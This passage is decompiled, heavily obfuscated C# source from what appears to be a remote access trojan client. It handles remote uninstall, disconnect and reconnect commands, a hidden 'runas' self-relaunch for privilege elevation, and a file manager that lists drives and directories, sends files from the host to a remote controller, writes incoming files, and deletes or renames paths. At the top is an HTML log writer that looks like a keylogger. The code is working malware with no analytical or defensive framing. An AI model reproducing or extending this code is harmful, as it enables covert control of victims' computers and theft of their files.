			}
			int num = 1;
			while (File.Exists(text) && new FileInfo(text).Length >= ⸶ﰎ\uefc4蔵鵏૧圌\ue676哷齓\ue28c䒪냗\ue040ҝ묈ᖔ\uf001Ⳋ炙)
			{
				string path = $"{Path.GetFileName(text)}_{num}";
				text = Path.Combine(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.ޏ㗈\u0a4dꕷ賬↘갠ሩ\u2452ㄹ鴼쉆\uf4e9豨辦钏\u0d49\uf464\u0cbe\u2dc7, path);
				num++;
			}
			if (!File.Exists(text))
			{
				flag = true;
			}
			StringBuilder stringBuilder = new StringBuilder();
			if (flag)
			{
				stringBuilder.Append("<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " + DateTime.UtcNow.ToString("f", DateTimeFormatInfo.InvariantInfo) + " UTC<br><br>");
				stringBuilder.Append("<style>.h { color: f76707; display: inline; }</style>");
				ꑼ땄\uea49⤾䟊\ue1b5鼉緬獅ῃ�ᨲᔺ㩜Ꚉが䪮謟㘑蔕 = string.Empty;
			}
			if (탻鼄趕픅\uf793賭㑺쥜鶖\ue728\ue6b8\uf8d4邺뀆�蘘玡ﺶ왴\uf4b5.Length > 0)
			{
				stringBuilder.Append((object?)탻鼄趕픅\uf793賭㑺쥜鶖\ue728\ue6b8\uf8d4邺뀆�蘘玡ﺶ왴\uf4b5);
			}
			FileHelper.WriteLogFile(text, stringBuilder.ToString(), 瘽슡Ƕ긿햚�찕却㔝鸦윱曥ꆮ豅ᙢḩכ놘袱췚);
			stringBuilder.Clear();
		}
		catch
		{
		}
		탻鼄趕픅\uf793賭㑺쥜鶖\ue728\ue6b8\uf8d4邺뀆�蘘玡ﺶ왴\uf4b5.Clear();
	}
}
public class ᦨ䶔㼣腔茝છ\uea46뛁玲祂泯Ꝫ펥⼑礏编ꢓꕢⴠ퀽 : IDisposable
{
	private readonly Thread ꝈᏏภ밺\ue7e4�譬篫\ue3a4䟑㳘㚊䑓㬯뇆柹茵辠扊\uee8a;

	private ApplicationContext 圔屬ﺝ琐驢ꮑⓠ੬ਸ濙䉄\u0310鉙\uee02ǧ\u10c8鰅\u0f77㹉䙅;

	private 퐗Ḧㄸ삋碴뒘뻪ᐺ㶋▔ꅂ蚡�灦纨똌틢ㆾ읻ꩣ 췘\u302d輿쉋뛔ủᒉ鎤䄒묇Ǟ㈞\u07b2ﵜ빟磜睚ơ뛻嫒;

	public ᦨ䶔㼣腔茝છ\uea46뛁玲祂泯Ꝫ펥⼑礏编ꢓꕢⴠ퀽()
	{
		ꝈᏏภ밺\ue7e4�譬篫\ue3a4䟑㳘㚊䑓㬯뇆柹茵辠扊\uee8a = new Thread((ThreadStart)delegate
		{
			//IL_0001: Unknown result type (might be due to invalid IL or missing references)
			//IL_000b: Expected O, but got Unknown
			圔屬ﺝ琐驢ꮑⓠ੬ਸ濙䉄\u0310鉙\uee02ǧ\u10c8鰅\u0f77㹉䙅 = new ApplicationContext();
			췘\u302d輿쉋뛔ủᒉ鎤䄒묇Ǟ㈞\u07b2ﵜ빟磜睚ơ뛻嫒 = new 퐗Ḧㄸ삋碴뒘뻪ᐺ㶋▔ꅂ蚡�灦纨똌틢ㆾ읻ꩣ(15000.0, 5242880L);
			췘\u302d輿쉋뛔ủᒉ鎤䄒묇Ǟ㈞\u07b2ﵜ빟磜睚ơ뛻嫒.彭悕も聕ꨘ�走莯㝐ᨁ껇\uef9d㲔Ƭ㜬鿪息\uf2c7\uef4fꆮ();
			Application.Run(圔屬ﺝ琐驢ꮑⓠ੬ਸ濙䉄\u0310鉙\uee02ǧ\u10c8鰅\u0f77㹉䙅);
		});
	}

	public void 㜡効ꎂཀྵ돆㡖⠽\uf6d9○覊㩉㺬梖ﾌ幬皕\u1bac憎\u0eef觮()
	{
		ꝈᏏภ밺\ue7e4�譬篫\ue3a4䟑㳘㚊䑓㬯뇆柹茵辠扊\uee8a.Start();
	}

	public void Dispose()
	{
		ᛍ蜽ᶆ鶉饖뺔\ue908ꮈ쐻髞폨㢑Ⱄ\uecb6蠼囯䈎簪⏴ॹ(disposing: true);
		GC.SuppressFinalize(this);
	}

	protected void ᛍ蜽ᶆ鶉饖뺔\ue908ꮈ쐻髞폨㢑Ⱄ\uecb6蠼囯䈎簪⏴ॹ(bool disposing)
	{
		if (disposing)
		{
			췘\u302d輿쉋뛔ủᒉ鎤䄒묇Ǟ㈞\u07b2ﵜ빟磜睚ơ뛻嫒.Dispose();
			圔屬ﺝ琐驢ꮑⓠ੬ਸ濙䉄\u0310鉙\uee02ǧ\u10c8鰅\u0f77㹉䙅.ExitThread();
			圔屬ﺝ琐驢ꮑⓠ੬ਸ濙䉄\u0310鉙\uee02ǧ\u10c8鰅\u0f77㹉䙅.Dispose();
		}
	}
}
public class 虓ᅔ꾂粒鴲믭섈⺗�䳔⻆ᗭ⏍\u0aba⏵欟째뜄뉭� : IMessageProcessor
{
	private readonly \uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 嶏渊榢肖\u0c70ꥨ\uf1f3鬀济뮜\uf778嶾鯖禦茗Ỹ爝酽緶㬣;

	private readonly 〿雏๏\u2efb椦�䰚\u0a3b殮圲툏櫱⑃멶䭹鱌졅눲⸌㪚 Ⴥ⺅䋖�\uf652硴♠팒媹住亠㷟殠ᇳꠟኵ\ue20c䁄\u17d3슉;

	public 虓ᅔ꾂粒鴲믭섈⺗�䳔⻆ᗭ⏍\u0aba⏵欟째뜄뉭�(〿雏๏\u2efb椦�䰚\u0a3b殮圲툏櫱⑃멶䭹鱌졅눲⸌㪚 application, \uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 client)
	{
		Ⴥ⺅䋖�\uf652硴♠팒媹住亠㷟殠ᇳꠟኵ\ue20c䁄\u17d3슉 = application;
		嶏渊榢肖\u0c70ꥨ\uf1f3鬀济뮜\uf778嶾鯖禦茗Ỹ爝酽緶㬣 = client;
	}

	public bool CanExecute(IMessage message)
	{
		if (message is DoClientUninstall || message is DoClientDisconnect || message is DoClientReconnect)
		{
			return true;
		}
		return message is DoAskElevate;
	}

	public bool CanExecuteFrom(ISender sender)
	{
		return true;
	}

	public void Execute(ISender sender, IMessage message)
	{
		DoClientUninstall val = (DoClientUninstall)(object)((message is DoClientUninstall) ? message : null);
		if (val == null)
		{
			DoClientDisconnect val2 = (DoClientDisconnect)(object)((message is DoClientDisconnect) ? message : null);
			if (val2 == null)
			{
				DoClientReconnect val3 = (DoClientReconnect)(object)((message is DoClientReconnect) ? message : null);
				if (val3 == null)
				{
					DoAskElevate val4 = (DoAskElevate)(object)((message is DoAskElevate) ? message : null);
					if (val4 != null)
					{
						笫⪖齏纫\uf1a2㆚ဃ\uf4ce亦ࠌ戨甀渒蹳�蠘멯䲻᭓\u08e7(sender, val4);
					}
				}
				else
				{
					퓲샼㈊鎂㙀\ue063쏅룻㭙蹾젖뻭챫쥡灷ꃡ葫ቘ\ued48�(sender, val3);
				}
			}
			else
			{
				\uec87㮠횘瀚�掌밾\uf7ca툍툆닒쩜흈\u1923㢦嘤伜䄾\ue9e4湲(sender, val2);
			}
		}
		else
		{
			㤊縞펢䝔\u10c8ꆋ焘췕➾㌧赑ꩄ緃ԩ았믴⪭馼휥ᨊ(sender, val);
		}
	}

	private void 㤊縞펢䝔\u10c8ꆋ焘췕➾㌧赑ꩄ緃ԩ았믴⪭馼휥ᨊ(ISender client, DoClientUninstall message)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0006: Unknown result type (might be due to invalid IL or missing references)
		//IL_0016: Expected O, but got Unknown
		//IL_002f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0034: Unknown result type (might be due to invalid IL or missing references)
		//IL_004f: Expected O, but got Unknown
		client.Send<SetStatus>(new SetStatus
		{
			Message = "Uninstalling... good bye :-("
		});
		try
		{
			new ठ筇㟭㎲醱\u0a5d�뷮л\ue585㾘\uf7f4횉ݤ깥뱆\u1af1畇鎅鋷().ꊊ፣沜ꂧ繿\ue6bd緁큻ⰳፈ獰\ue026稤振撊⚵宥퇞\u2453迠();
			嶏渊榢肖\u0c70ꥨ\uf1f3鬀济뮜\uf778嶾鯖禦茗Ỹ爝酽緶㬣.炊⺘ 䢻戳北視얈禙壃�未셦\uf083ᔗ촆\uf33a囄空엽();
		}
		catch (Exception ex)
		{
			client.Send<SetStatus>(new SetStatus
			{
				Message = "Uninstall failed: " + ex.Message
			});
		}
	}

	private void \uec87㮠횘瀚�掌밾\uf7ca툍툆닒쩜흈\u1923㢦嘤伜䄾\ue9e4湲(ISender client, DoClientDisconnect message)
	{
		嶏渊榢肖\u0c70ꥨ\uf1f3鬀济뮜\uf778嶾鯖禦茗Ỹ爝酽緶㬣.炊⺘ 䢻戳北視얈禙壃�未셦\uf083ᔗ촆\uf33a囄空엽();
	}

	private void 퓲샼㈊鎂㙀\ue063쏅룻㭙蹾젖뻭챫쥡灷ꃡ葫ቘ\ued48�(ISender client, DoClientReconnect message)
	{
		((Client)嶏渊榢肖\u0c70ꥨ\uf1f3鬀济뮜\uf778嶾鯖禦茗Ỹ爝酽緶㬣).Disconnect();
	}

	private void 笫⪖齏纫\uf1a2㆚ဃ\uf4ce亦ࠌ戨甀渒蹳�蠘멯䲻᭓\u08e7(ISender client, DoAskElevate message)
	{
		//IL_0005: Unknown result type (might be due to invalid IL or missing references)
		//IL_006e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0073: Unknown result type (might be due to invalid IL or missing references)
		//IL_0083: Expected O, but got Unknown
		//IL_00a7: Unknown result type (might be due to invalid IL or missing references)
		//IL_00ac: Unknown result type (might be due to invalid IL or missing references)
		//IL_00bc: Expected O, but got Unknown
		if ((int)new 驃\ue5c3梅悐좤ừ懯萑㈹\ua8de⡇䑎놙㡧騫\u0fef\u2450\ufe1c␊ꗙ().Type != 0)
		{
			ProcessStartInfo startInfo = new ProcessStartInfo
			{
				FileName = "cmd",
				Verb = "runas",
				Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT",
				WindowStyle = ProcessWindowStyle.Hidden,
				UseShellExecute = true
			};
			Ⴥ⺅䋖�\uf652硴♠팒媹住亠㷟殠ᇳꠟኵ\ue20c䁄\u17d3슉.㤚邑垳挛읩ㇴⰱ陽\ue3b1틭ضﲼ슺�촎埉뒥킚鋔\uaa3b.Dispose();
			try
			{
				Process.Start(startInfo);
			}
			catch
			{
				client.Send<SetStatus>(new SetStatus
				{
					Message = "User refused the elevation request."
				});
				Ⴥ⺅䋖�\uf652硴♠팒媹住亠㷟殠ᇳꠟኵ\ue20c䁄\u17d3슉.㤚邑垳挛읩ㇴⰱ陽\ue3b1틭ضﲼ슺�촎埉뒥킚鋔\uaa3b = new 긥\uef78\ue513옱祶⪎䬑嘘\ua8c0ȶ⢧짶䧇鳭㴯ᡢ푢㔗\ua881聆(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㈊싚妆�\ua948띛\uf2d7ﹺᡏ某禄偻及贚ʈ菁\ufe6f�⋂\uea1f);
				return;
			}
			嶏渊榢肖\u0c70ꥨ\uf1f3鬀济뮜\uf778嶾鯖禦茗Ỹ爝酽緶㬣.炊⺘ 䢻戳北視얈禙壃�未셦\uf083ᔗ촆\uf33a囄空엽();
		}
		else
		{
			client.Send<SetStatus>(new SetStatus
			{
				Message = "Process already elevated."
			});
		}
	}
}
public class ⬑瞣匉′橬畛跆떇闊韣\ue1ddё\uf430涡餢\u009e쨆枆螡ℭ : NotificationMessageProcessor, IDisposable
{
	private readonly ConcurrentDictionary<int, FileSplit> \uecbc簥噓덁뺂嘵쮪ꧏ闚嵬蟈ⶾ�ꕽ踕䬴ᖚ忑ⶁꎻ = new ConcurrentDictionary<int, FileSplit>();

	private readonly Semaphore 籾兿谲\uf289뀓瓞縛譋䗴깮ጉࣀ㷠靳鴸\uf38b瓍轧瀅\ue00a = new Semaphore(2, 2);

	private readonly \uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 靂팰䯒혘ଽ⫠⅂礀ǝ\uf58bꈥ㫙ሁ㲪⢮Ṋ䡁涯噮七;

	private CancellationTokenSource 箱銉릜⧲膈苃ךּι浮ꉡꋮজ鍁鸑ㄖﱯ幉妱㷇\uf86c;

	private CancellationToken 塻\uf409硝뫴䤞賹㮃㒬퍝\u1df4ﾩ뭐�窟\ue840凂\uf58f�쁅礶;

	public ⬑瞣匉′橬畛跆떇闊韣\ue1ddё\uf430涡餢\u009e쨆枆螡ℭ(\uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 client)
	{
		//IL_0032: Unknown result type (might be due to invalid IL or missing references)
		//IL_003c: Expected O, but got Unknown
		靂팰䯒혘ଽ⫠⅂礀ǝ\uf58bꈥ㫙ሁ㲪⢮Ṋ䡁涯噮七 = client;
		((Client)靂팰䯒혘ଽ⫠⅂礀ǝ\uf58bꈥ㫙ሁ㲪⢮Ṋ䡁涯噮七).ClientState += new ClientStateEventHandler(䊟뗷\u0b02㦌�鼎�蹵�ꜹᠯ᭔竧❜뻽鞯\u1dd7鵡�锍);
		箱銉릜⧲膈苃ךּι浮ꉡꋮজ鍁鸑ㄖﱯ幉妱㷇\uf86c = new CancellationTokenSource();
		塻\uf409硝뫴䤞賹㮃㒬퍝\u1df4ﾩ뭐�窟\ue840凂\uf58f�쁅礶 = 箱銉릜⧲膈苃ךּι浮ꉡꋮজ鍁鸑ㄖﱯ幉妱㷇\uf86c.Token;
	}

	private void 䊟뗷\u0b02㦌�鼎�蹵�ꜹᠯ᭔竧❜뻽鞯\u1dd7鵡�锍(Client s, bool connected)
	{
		if (connected)
		{
			箱銉릜⧲膈苃ךּι浮ꉡꋮজ鍁鸑ㄖﱯ幉妱㷇\uf86c?.Dispose();
			箱銉릜⧲膈苃ךּι浮ꉡꋮজ鍁鸑ㄖﱯ幉妱㷇\uf86c = new CancellationTokenSource();
			塻\uf409硝뫴䤞賹㮃㒬퍝\u1df4ﾩ뭐�窟\ue840凂\uf58f�쁅礶 = 箱銉릜⧲膈苃ךּι浮ꉡꋮজ鍁鸑ㄖﱯ幉妱㷇\uf86c.Token;
		}
		else
		{
			箱銉릜⧲膈苃ךּι浮ꉡꋮজ鍁鸑ㄖﱯ幉妱㷇\uf86c.Cancel();
		}
	}

	public override bool CanExecute(IMessage message)
	{
		if (message is GetDrives || message is GetDirectory || message is FileTransferRequest || message is FileTransferCancel || message is FileTransferChunk || message is DoPathDelete)
		{
			return true;
		}
		return message is DoPathRename;
	}

	public override bool CanExecuteFrom(ISender sender)
	{
		return ((object)靂팰䯒혘ଽ⫠⅂礀ǝ\uf58bꈥ㫙ሁ㲪⢮Ṋ䡁涯噮七).Equals((object?)sender);
	}

	public override void Execute(ISender sender, IMessage message)
	{
		GetDrives val = (GetDrives)(object)((message is GetDrives) ? message : null);
		if (val == null)
		{
			GetDirectory val2 = (GetDirectory)(object)((message is GetDirectory) ? message : null);
			if (val2 == null)
			{
				FileTransferRequest val3 = (FileTransferRequest)(object)((message is FileTransferRequest) ? message : null);
				if (val3 == null)
				{
					FileTransferCancel val4 = (FileTransferCancel)(object)((message is FileTransferCancel) ? message : null);
					if (val4 == null)
					{
						FileTransferChunk val5 = (FileTransferChunk)(object)((message is FileTransferChunk) ? message : null);
						if (val5 == null)
						{
							DoPathDelete val6 = (DoPathDelete)(object)((message is DoPathDelete) ? message : null);
							if (val6 == null)
							{
								DoPathRename val7 = (DoPathRename)(object)((message is DoPathRename) ? message : null);
								if (val7 != null)
								{
									Ⰶ㗯頽쏆謒촪醿őשׁ⤨\u1a6a㔧읤㮢\ue847늓≕�ࡓ\uf0d5(sender, val7);
								}
							}
							else
							{
								\uf40d轤铌\ueb0a푾⒘ꉍ彵ꊸ\ue387䶍㿎⬼譄摑\ue595點鴆셈뙼(sender, val6);
							}
						}
						else
						{
							ꂚ␝栅쟳먑ﱆ聾祄湪뱗䯾悵\u09d8㵌ﾒ\ue2da\u0a04咊朘鯶(sender, val5);
						}
					}
					else
					{
						쑽섩ገ☁\u1c2e\uf726Ꟊ賸돲闾獓⭷휗穞找栗섏捐\ueaa4⹈(sender, val4);
					}
				}
				else
				{
					䱤厎㥕쓲瓜⯁蹅倱鶀걈賄劄苨욥⨄盄嶶\u064d㉥ꐨ(sender, val3);
				}
			}
			else
			{
				\uf4e5䊷❙\uf81c�왐쐌⏈쏒鼳ᤚꉛ쯵빾\u0c3a䬆폺⿶掖畉(sender, val2);
			}
		}
		else
		{
			泝�夂껐꽺ŚӅ톞Ḽ抭⭹㑥\u17faʬ䔣Ⲥ墉닚䦤뮂(sender, val);
		}
	}

	private void 泝�夂껐꽺ŚӅ톞Ḽ抭⭹㑥\u17faʬ䔣Ⲥ墉닚䦤뮂(ISender client, GetDrives command)
	{
		//IL_0033: Unknown result type (might be due to invalid IL or missing references)
		//IL_0038: Unknown result type (might be due to invalid IL or missing references)
		//IL_0043: Unknown result type (might be due to invalid IL or missing references)
		//IL_004f: Expected O, but got Unknown
		//IL_0056: Unknown result type (might be due to invalid IL or missing references)
		//IL_005b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0066: Unknown result type (might be due to invalid IL or missing references)
		//IL_0072: Expected O, but got Unknown
		//IL_007c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0081: Unknown result type (might be due to invalid IL or missing references)
		//IL_008c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0098: Expected O, but got Unknown
		//IL_0168: Unknown result type (might be due to invalid IL or missing references)
		//IL_016d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0179: Expected O, but got Unknown
		//IL_0134: Unknown result type (might be due to invalid IL or missing references)
		//IL_0139: Unknown result type (might be due to invalid IL or missing references)
		//IL_0141: Unknown result type (might be due to invalid IL or missing references)
		//IL_0155: Expected O, but got Unknown
		DriveInfo[] array;
		try
		{
			array = (from d in DriveInfo.GetDrives()
				where d.IsReady
				select d).ToArray();
		}
		catch (IOException)
		{
			client.Send<SetStatusFileManager>(new SetStatusFileManager
			{
				Message = "GetDrives I/O error",
				SetLastDirectorySeen = false
			});
			return;
		}
		catch (UnauthorizedAccessException)
		{
			client.Send<SetStatusFileManager>(new SetStatusFileManager
			{
				Message = "GetDrives No permission",
				SetLastDirectorySeen = false
			});
			return;
		}
		if (array.Length == 0)
		{
			client.Send<SetStatusFileManager>(new SetStatusFileManager
			{
				Message = "GetDrives No drives",
				SetLastDirectorySeen = false
			});
			return;
		}
		Drive[] array2 = (Drive[])(object)new Drive[array.Length];
		for (int num = 0; num < array2.Length; num++)
		{
			try
			{
				string text = ((!string.IsNullOrEmpty(array[num].VolumeLabel)) ? string.Format("{0} ({1}) [{2}, {3}]", new object[4]
				{
					array[num].RootDirectory.FullName,
					array[num].VolumeLabel,
					DriveTypeExtensions.ToFriendlyString(array[num].DriveType),
					array[num].DriveFormat
				}) : $"{array[num].RootDirectory.FullName} [{DriveTypeExtensions.ToFriendlyString(array[num].DriveType)}, {array[num].DriveFormat}]");
				string displayName = text;
				array2[num] = new Drive
				{
					DisplayName = displayName,
					RootDirectory = array[num].RootDirectory.FullName
				};
			}
			catch (Exception)
			{
			}
		}
		client.Send<GetDrivesResponse>(new GetDrivesResponse
		{
			Drives = array2
		});
	}

	private void \uf4e5䊷❙\uf81c�왐쐌⏈쏒鼳ᤚꉛ쯵빾\u0c3a䬆폺⿶掖畉(ISender client, GetDirectory message)
	{
		//IL_01a9: Unknown result type (might be due to invalid IL or missing references)
		//IL_01ae: Unknown result type (might be due to invalid IL or missing references)
		//IL_01ba: Unknown result type (might be due to invalid IL or missing references)
		//IL_01c6: Expected O, but got Unknown
		//IL_0053: Unknown result type (might be due to invalid IL or missing references)
		//IL_0058: Unknown result type (might be due to invalid IL or missing references)
		//IL_005f: Unknown result type (might be due to invalid IL or missing references)
		//IL_006e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0076: Unknown result type (might be due to invalid IL or missing references)
		//IL_0086: Expected O, but got Unknown
		//IL_00a5: Unknown result type (might be due to invalid IL or missing references)
		//IL_00aa: Unknown result type (might be due to invalid IL or missing references)
		//IL_00b1: Unknown result type (might be due to invalid IL or missing references)
		//IL_00c0: Unknown result type (might be due to invalid IL or missing references)
		//IL_00cf: Unknown result type (might be due to invalid IL or missing references)
		//IL_00de: Unknown result type (might be due to invalid IL or missing references)
		//IL_00ed: Unknown result type (might be due to invalid IL or missing references)
		//IL_00fd: Expected O, but got Unknown
		//IL_010b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0110: Unknown result type (might be due to invalid IL or missing references)
		//IL_011c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0129: Expected O, but got Unknown
		bool isError = false;
		string statusMessage = null;
		Action<string> action = delegate(string msg)
		{
			isError = true;
			statusMessage = msg;
		};
		try
		{
			DirectoryInfo directoryInfo = new DirectoryInfo(message.RemotePath);
			FileInfo[] files = directoryInfo.GetFiles();
			DirectoryInfo[] directories = directoryInfo.GetDirectories();
			FileSystemEntry[] array = (FileSystemEntry[])(object)new FileSystemEntry[files.Length + directories.Length];
			int num = 0;
			int num2 = 0;
			while (num2 < directories.Length)
			{
				array[num2] = new FileSystemEntry
				{
					EntryType = (FileType)1,
					Name = directories[num2].Name,
					Size = 0L,
					LastAccessTimeUtc = directories[num2].LastAccessTimeUtc
				};
				num2++;
				num++;
			}
			for (int num3 = 0; num3 < files.Length; num3++)
			{
				array[num3 + num] = new FileSystemEntry
				{
					EntryType = (FileType)0,
					Name = files[num3].Name,
					Size = files[num3].Length,
					ContentType = StringExtensions.ToContentType(Path.GetExtension(files[num3].Name)),
					LastAccessTimeUtc = files[num3].LastAccessTimeUtc
				};
			}
			client.Send<GetDirectoryResponse>(new GetDirectoryResponse
			{
				RemotePath = message.RemotePath,
				Items = array
			});
		}
		catch (UnauthorizedAccessException)
		{
			action("GetDirectory No permission");
		}
		catch (SecurityException)
		{
			action("GetDirectory No permission");
		}
		catch (PathTooLongException)
		{
			action("GetDirectory Path too long");
		}
		catch (DirectoryNotFoundException)
		{
			action("GetDirectory Directory not found");
		}
		catch (FileNotFoundException)
		{
			action("GetDirectory File not found");
		}
		catch (IOException)
		{
			action("GetDirectory I/O error");
		}
		catch (Exception)
		{
			action("GetDirectory Failed");
		}
		finally
		{
			if (isError && !string.IsNullOrEmpty(statusMessage))
			{
				client.Send<SetStatusFileManager>(new SetStatusFileManager
				{
					Message = statusMessage,
					SetLastDirectorySeen = true
				});
			}
		}
	}

	private void 䱤厎㥕쓲瓜⯁蹅倱鶀걈賄劄苨욥⨄盄嶶\u064d㉥ꐨ(ISender client, FileTransferRequest message)
	{
		new Thread((ThreadStart)delegate
		{
			//IL_0139: Unknown result type (might be due to invalid IL or missing references)
			//IL_013e: Unknown result type (might be due to invalid IL or missing references)
			//IL_014f: Unknown result type (might be due to invalid IL or missing references)
			//IL_015f: Expected O, but got Unknown
			//IL_001d: Unknown result type (might be due to invalid IL or missing references)
			//IL_0023: Expected O, but got Unknown
			//IL_00f8: Unknown result type (might be due to invalid IL or missing references)
			//IL_00fd: Unknown result type (might be due to invalid IL or missing references)
			//IL_010e: Unknown result type (might be due to invalid IL or missing references)
			//IL_0124: Expected O, but got Unknown
			//IL_009c: Unknown result type (might be due to invalid IL or missing references)
			//IL_00a1: Unknown result type (might be due to invalid IL or missing references)
			//IL_00b2: Unknown result type (might be due to invalid IL or missing references)
			//IL_00c3: Unknown result type (might be due to invalid IL or missing references)
			//IL_00cf: Unknown result type (might be due to invalid IL or missing references)
			//IL_00db: Expected O, but got Unknown
			籾兿谲\uf289뀓瓞縛譋䗴깮ጉࣀ㷠靳鴸\uf38b瓍轧瀅\ue00a.WaitOne();
			try
			{
				FileSplit val = new FileSplit(message.RemotePath, FileAccess.Read);
				try
				{
					\uecbc簥噓덁뺂嘵쮪ꧏ闚嵬蟈ⶾ�ꕽ踕䬴ᖚ忑ⶁꎻ[message.Id] = val;
					((MessageProcessorBase<string>)(object)this).OnReport("File upload started");
					foreach (FileChunk item in val)
					{
						if (塻\uf409硝뫴䤞賹㮃㒬퍝\u1df4ﾩ뭐�窟\ue840凂\uf58f�쁅礶.IsCancellationRequested || !\uecbc簥噓덁뺂嘵쮪ꧏ闚嵬蟈ⶾ�ꕽ踕䬴ᖚ忑ⶁꎻ.ContainsKey(message.Id))
						{
							break;
						}
						((Client)靂팰䯒혘ଽ⫠⅂礀ǝ\uf58bꈥ㫙ሁ㲪⢮Ṋ䡁涯噮七).SendBlocking<FileTransferChunk>(new FileTransferChunk
						{
							Id = message.Id,
							FilePath = message.RemotePath,
							FileSize = val.FileSize,
							Chunk = item
						});
					}
					client.Send<FileTransferComplete>(new FileTransferComplete
					{
						Id = message.Id,
						FilePath = message.RemotePath
					});
				}
				finally
				{
					((IDisposable)val)?.Dispose();
				}
			}
			catch (Exception)
			{
				client.Send<FileTransferCancel>(new FileTransferCancel
				{
					Id = message.Id,
					Reason = "Error reading file"
				});
			}
			finally
			{
				퉩莩䦩\u2e73煭緗\ue326龷㝍ꦟ체鱪\uf868扃☙\ue6aaᕹʖ芋㓾(message.Id);
				籾兿谲\uf289뀓瓞縛譋䗴깮ጉࣀ㷠靳鴸\uf38b瓍轧瀅\ue00a.Release();
			}
		}).Start();
	}

	private void 쑽섩ገ☁\u1c2e\uf726Ꟊ賸돲闾獓⭷휗穞找栗섏捐\ueaa4⹈(ISender client, FileTransferCancel message)
	{
		//IL_0021: Unknown result type (might be due to invalid IL or missing references)
		//IL_0026: Unknown result type (might be due to invalid IL or missing references)
		//IL_0032: Unknown result type (might be due to invalid IL or missing references)
		//IL_0042: Expected O, but got Unknown
		if (\uecbc簥噓덁뺂嘵쮪ꧏ闚嵬蟈ⶾ�ꕽ踕䬴ᖚ忑ⶁꎻ.ContainsKey(message.Id))
		{
			퉩莩䦩\u2e73煭緗\ue326龷㝍ꦟ체鱪\uf868扃☙\ue6aaᕹʖ芋㓾(message.Id);
			client.Send<FileTransferCancel>(new FileTransferCancel
			{
				Id = message.Id,
				Reason = "Canceled"
			});
		}
	}

	private void ꂚ␝栅쟳먑ﱆ聾祄湪뱗䯾悵\u09d8㵌ﾒ\ue2da\u0a04咊朘鯶(ISender client, FileTransferChunk message)
	{
		//IL_00e9: Unknown result type (might be due to invalid IL or missing references)
		//IL_00ee: Unknown result type (might be due to invalid IL or missing references)
		//IL_00fa: Unknown result type (might be due to invalid IL or missing references)
		//IL_010a: Expected O, but got Unknown
		//IL_00ab: Unknown result type (might be due to invalid IL or missing references)
		//IL_00b0: Unknown result type (might be due to invalid IL or missing references)
		//IL_00bc: Unknown result type (might be due to invalid IL or missing references)
		//IL_00cd: Expected O, but got Unknown
		//IL_004f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0059: Expected O, but got Unknown
		try
		{
			if (message.Chunk.Offset == 0L)
			{
				string text = message.FilePath;
				if (string.IsNullOrEmpty(text))
				{
					text = FileHelper.GetTempFilePath("." + message.FileExtension);
				}
				if (File.Exists(text))
				{
					NativeMethods.DeleteFile(text);
				}
				\uecbc簥噓덁뺂嘵쮪ꧏ闚嵬蟈ⶾ�ꕽ踕䬴ᖚ忑ⶁꎻ[message.Id] = new FileSplit(text, FileAccess.Write);
				((MessageProcessorBase<string>)(object)this).OnReport("File download started");
			}
			if (\uecbc簥噓덁뺂嘵쮪ꧏ闚嵬蟈ⶾ�ꕽ踕䬴ᖚ忑ⶁꎻ.ContainsKey(message.Id))
			{
				FileSplit val = \uecbc簥噓덁뺂嘵쮪ꧏ闚嵬蟈ⶾ�ꕽ踕䬴ᖚ忑ⶁꎻ[message.Id];
				val.WriteChunk(message.Chunk);
				if (val.FileSize == message.FileSize)
				{
					client.Send<FileTransferComplete>(new FileTransferComplete
					{
						Id = message.Id,
						FilePath = val.FilePath
					});
					퉩莩䦩\u2e73煭緗\ue326龷㝍ꦟ체鱪\uf868扃☙\ue6aaᕹʖ芋㓾(message.Id);
				}
			}
		}
		catch (Exception)
		{
			퉩莩䦩\u2e73煭緗\ue326龷㝍ꦟ체鱪\uf868扃☙\ue6aaᕹʖ芋㓾(message.Id);
			client.Send<FileTransferCancel>(new FileTransferCancel
			{
				Id = message.Id,
				Reason = "Error writing file"
			});
		}
	}

	private void \uf40d轤铌\ueb0a푾⒘ꉍ彵ꊸ\ue387䶍㿎⬼譄摑\ue595點鴆셈뙼(ISender client, DoPathDelete message)
	{
		//IL_0022: Unknown result type (might be due to invalid IL or missing references)
		//IL_0027: Unknown result type (might be due to invalid IL or missing references)
		//IL_0028: Unknown result type (might be due to invalid IL or missing references)
		//IL_003d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0042: Unknown result type (might be due to invalid IL or missing references)
		//IL_004d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0059: Expected O, but got Unknown
		//IL_002b: Unknown result type (might be due to invalid IL or missing references)
		//IL_002d: Invalid comparison between Unknown and I4
		//IL_00ff: Unknown result type (might be due to invalid IL or missing references)
		//IL_0104: Unknown result type (might be due to invalid IL or missing references)
		//IL_0110: Unknown result type (might be due to invalid IL or missing references)
		//IL_011c: Expected O, but got Unknown
		//IL_0086: Unknown result type (might be due to invalid IL or missing references)
		//IL_008b: Unknown result type (might be due to invalid IL or missing references)
		//IL_00a1: Expected O, but got Unknown
		//IL_0068: Unknown result type (might be due to invalid IL or missing references)
		//IL_006d: Unknown result type (might be due to invalid IL or missing references)
